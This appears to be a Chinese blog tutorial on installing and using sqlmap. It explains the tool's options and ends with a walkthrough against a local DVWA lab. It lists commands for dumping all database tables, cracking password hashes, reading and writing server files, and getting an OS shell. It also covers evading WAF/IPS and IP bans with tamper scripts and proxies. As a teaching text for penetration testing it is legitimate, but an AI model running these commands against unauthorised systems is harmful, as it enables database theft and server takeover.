【每天学会一个渗透测试工具】SQLmap安装教程及使用

🌝博客主页：泥菩萨

💖专栏：Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

✨SQLmap简介

Sqlmap是一款开源的渗透测试工具

🚀下载及安装

下载地址：http://sqlmap.org/

windows或mac下载第一个，linux下载第二个

kali默认自带sqlmap不需要安装

解压刚下载好的压缩包后，重命名为sqlmap

移动到python目录下

复制sqlmap的路径，我的是D:\Python\SQLMap

回到桌面，右击新建 > 快捷方式

快捷方式名

创建成功！右击选择属性，更改起始位置

双击sqlmap的快捷图标，输入python sqlmap.py，验证是否安装成功

🐱‍👤SQLmap的使用

在注入的url中要包含参数和cookie值，通过sqlmap工具中

--cookie

参数带上cookie值

抓包查找cookie值后写在–cookie后方

分析测试结果

💦参数详解

1️⃣target：目标

-u    目标url
-m     将目标地址保存在文件中，一行为一个URL地址进行批量检测
-r    从文件中加载http请求
-d  直接连接数据库的连接字符
-l  从Burp或者websscarab代理日志文件中分析目标
-x  从远程网站地图（sitemap.xml）文件来解析目标
-g  从谷歌中加载结果目标url（只获取前100个结果，需要挂代理）
-c  从配置ini文件中加载选项

目标URL

python sqlmap.py -u "目标url" --batch --cookie "cookie值"

• –batch：sqlmap帮你判断选择yes或no
• –cookie：登陆后扫描

从文本中获取多个目标扫描

python sqlmap.py -m 1.txt --batch

1.txt文件中保存url格式如下，sqlmap会一个一个检测

www.magedu1.com/vu1n1.php?q=q=student
www.magedu2.com/vuln2.asp?id=1
www.magedu3.com/vuln3/id/1*

从文件中加载http请求

python sqlmap.py -r 1.txt --batch

直接把bp抓到的请求包复制到一个文本文件里，这样可以让我们省去写cookie和url等参数

比如1.txt文本文件内容如下：

POST/students.php
HTTP/1.1
Host:www.magedu.com
User-Agent:Mozilla/4.0

id=1

2️⃣Request：请求设置

--method 指定请求方法
--data    把数据以post方式提交
--param 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
--cookie 设置提交请求的时候附带所设置的cookie
--load-cookie 从文件获取cookie
--user-agent 可以使用–user-anget参数来修改
--headers 可以通过–headers参数来增加额外的http头
--proxy 设置代理，可以避免本机地址被封禁
--delay 可以设定两个HTTP(S)请求间的延迟防止发送过快导致被封ip
--random-agent 使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候，会尝试对User-Angent进行注入
--referer 在请求目标的时候可以自己伪造请求包中的referer
–-level 参数设定为3或者3以上的时候会尝试对referer注入
--scope    利用正则过滤目标网址

把数据以POST方式提交

当参数写在url里会当成get方式，–data可以用post方式提交并进行检测

python sqlmap.py -u "http://www.baidu.com/students.php" --data="id=1" -f --banner --dbs --users

• –banner：指纹信息
• –dbs：数据库
• –users：表名

利用正则过滤目标网址

python sqlmap.py -l burp_http.log --scope="(www)?\.tagdet\.(com|net|org)"

burp_http.log：从bp中加载的日志文件

避免过多的错误请求被屏蔽

sql注入的过程也可以理解成爆破的过程，在这么多的请求中也会有大量的报错请求，而有的网站会有一些保护机制，使用这个参数可以避免发送过多的错误请求导致ip被封掉

参数：–safe-url,–safe-freq

--safe-url：提供一个安全不错误的链接，每隔一段时间都会去访问一下
--safe-freq：提供一个安全不错误的链接，每次测试请求之后都会在访问一遍安全连接

3️⃣Optimization：优化

-o  开启所有优化开关

4️⃣Injection：注入

-p 想要测试的参数
-skip 不想要测试的参数
--dbms 指定数据库，节省sqlmap的检测时间
--os 指定数据库服务系统，节省sqlmap的检测时间
--tamper 使用sqlmap自带的tamper（脚本），或者自己写的tamper，来混淆payload，通常用来绕过waf和ips

测试参数

-p：指定测试的参数

-p "id,user-anget"

–skip：指定要跳过的参数

--skip="user-agent,referer"

指定数据库服务器系统

参数：–OS

一方面可以提速，另一方面降低被发现的可能性

指定大数字来使值无效

参数：–invalid-bignum

当用户想指定一个报错的数值时，可以使用这个参数，比如指定id=9999999999

指定逻辑运算来使值无效

参数：–invalid-logical

原理同上，比如指定id=1 and 18=19结果为假，从而引起报错，让你查不到内容

5️⃣Detection：探测等级

--level=1 执行测试的等级（1~5，默认为1）
--risk 共有四个风险等级（0~3）（慎用）

探测等级

参数：–level

共有5个等级，默认为1，最大为5

• 1级：不会探测http header
• 2级：探测加上cookie
• 3级：探测加上HTTP User-Agent/Refere

总之在不确定哪个payload或者参数为注入点时，为了保证全面性，建议使用高的level值

风险等级

参数：–risk

共有3个风险等级，默认是1

• 1会测试大部分的测试语句
• 2会增加基于事件的测试语句
• 3会增加or语句的SQL注入测试

有时候，例如在updata、delete的语句中，注入一个or的测试语句，可能导致更新或删除整个表，造成很大的风险

在工作中--risk谨慎使用，会对业务造成伤害

6️⃣fingerprint：指纹

-f ，--fingerprint 执行检查广泛的dbms版本指纹

7️⃣enumeration：枚举

-a，--all          获取所有信息
-b，--banner      获取数据库挂你系统的表示
--current-user       获取数据库管理系统当前数据库
--hostname           获取数据库服务器的主机名称
--is-dba          检测DBMS当前用户是否是DBA（数据库管理员）
--users           枚举数据库管理系统用户
--passwords       枚举数据库管理系统用户密码哈希
--privieges          枚举数据库管理系统用户的权限
--roles           枚举数据库管理系统用户的角色
--dbs             枚举数据库管理系统数据库
--tables          枚举DBMS数据库中的表
--columns         枚举DBMS数据库中的表
--schema          枚举数据库架构
--count           检索表的项目数
--dump            转储数据库表项，即下载
--dump-all        转储数据库所有表项
--search          搜索列（s），表（s）和/或数据库名称（s）
--comments        获取DBMS注释
-D                要进行枚举的指定数据库名
-T                DBMS数据库表枚举
-C                DBMS数据库表列枚举
-X                DBMS数据库表不进行枚举
-U                用来进行枚举的数据库用户
--exclude-sysdbs  枚举表时排除系统数据库
--pivot-column=p.. privot columnname
--where=DUMPWHERE  USE WHEREcondition while table dumping
--start=LIMITSTART 获取第一个查询输出数据位置
--stop=LIMITSTOP   获取最后查询的输出数据
--first=FIRSTCHAR  第一个查询输出字的字符获取
--last=LASTCHAR    最后查询的输出字字符获取
--sql-query=QUERY  要执行的SQL语句
--sql-shell        提示交互式SQL的shell
--sql-file=SQLFILE 要执行的SQL文件

标识

参数：-b，-banner

数据库版本信息

当前用户

参数：–current-user

当前数据库

参数：–current-db

当前用户是否为管理员

参数：–is-dba

列出数据库管理用户

参数：–users

列出并破解数据库用户的hash值

参数：–passwords

列出数据库系统中的数据库

参数：–dbs

python sqlmap.py -r 1.txt  --dbs

列举数据库表

参数：–tables、–exclude-sysdbs、-D

列举数据库表中的字段

参数：–columns，-C，-T，-D

8️⃣Brute force：爆破

--common-tables 检查存在共同表
--common-columns 检查存在共同列
--shared-lib=SHLIB 共享库的本地路径

9️⃣file system access：访问文件系统

--file-read 从后端的数据库管理系统读取文件
--file-writeE上传文件到后端的数据库管理系统
--file-dest 后端的数据库管理系统写入文件的绝对路径

读文件前提：要知道读这个文件的路径

写文件：要指定上传文件，指定上传文件路径

🔟Operating system access：访问操作系统

--os-cmd=OSCMD 执行操作系统命令
--os-shell 交互式的操作系统的shell
--os-pwn 获取一个OOB shell，meterpreter或VNC
--os-smbrelay 一键获取一个OOB shellmeterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH Metasploit Framework本地的安装路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径

获取整个表的数据

参数：-dump，-C，-T，-D，–start，–stop，–first，–last

获取所有数据库表的内容

参数：–dump-all，–exclude-sysdbs

–dump-all获取所有数据库表的内容，可同时加上–exclude-sysdbs排除系统数据库，只获取用户数据库的表，即业务数据

字段、表、数据库

参数：–search -C，-T，-D

运行任意操作系统命令

参数：–os-cmd，–os-shell

–os-shell：直接拿到操作系统的命令行

爬取网站url

参数：–crawl

sqlmap可以收集潜在的可能存在漏洞的链接，后面跟的参数是爬行的深度，此时的url可以不带参数

python sqlmap.py -u "http://www.baidu.com" --crawl=3

忽略在会话文件中存储的查询结果

参数：–fresh-queries

如果不想让历史的缓存数据，影响到本次缓存结果，就加上这个参数

自定义输出的路径

参数：–output-dir

默认把缓存结果保存在output文件夹下，可以通过这个参数进行修改

🎃实际利用（DVWA）

当给sqlmap一个url时，它会：

1.判断可注入的参数
2.判断可以使用哪种SQL注入技术来注入
3.识别出哪种数据库
4.根据用户选择，读取哪些数据

dvwa使用sqlmap工具注入流程，如果你想看到sqlmap发送的测试payload最好的等级就是3

# 判断注入点，因系统需要登录所以要加cookie
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;
security=low" -p id

# 检测站点包含哪些数据库
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&submit=submit#" --cookie="PHPSESSIE=isgvp2rrv4uts46jbkb9bouq6ir;
security=low" -p id --dbs

技巧：在实际检测过程中，sqlmap会不停的询问，需要手工输入“Y/N”来进行下一步操作，可以使用参数–batch命令来自动答复和判断

查看数据库管理系统中有哪些数据库

查看dvwa库下的所有表

查看users表中的字段

获取所有数据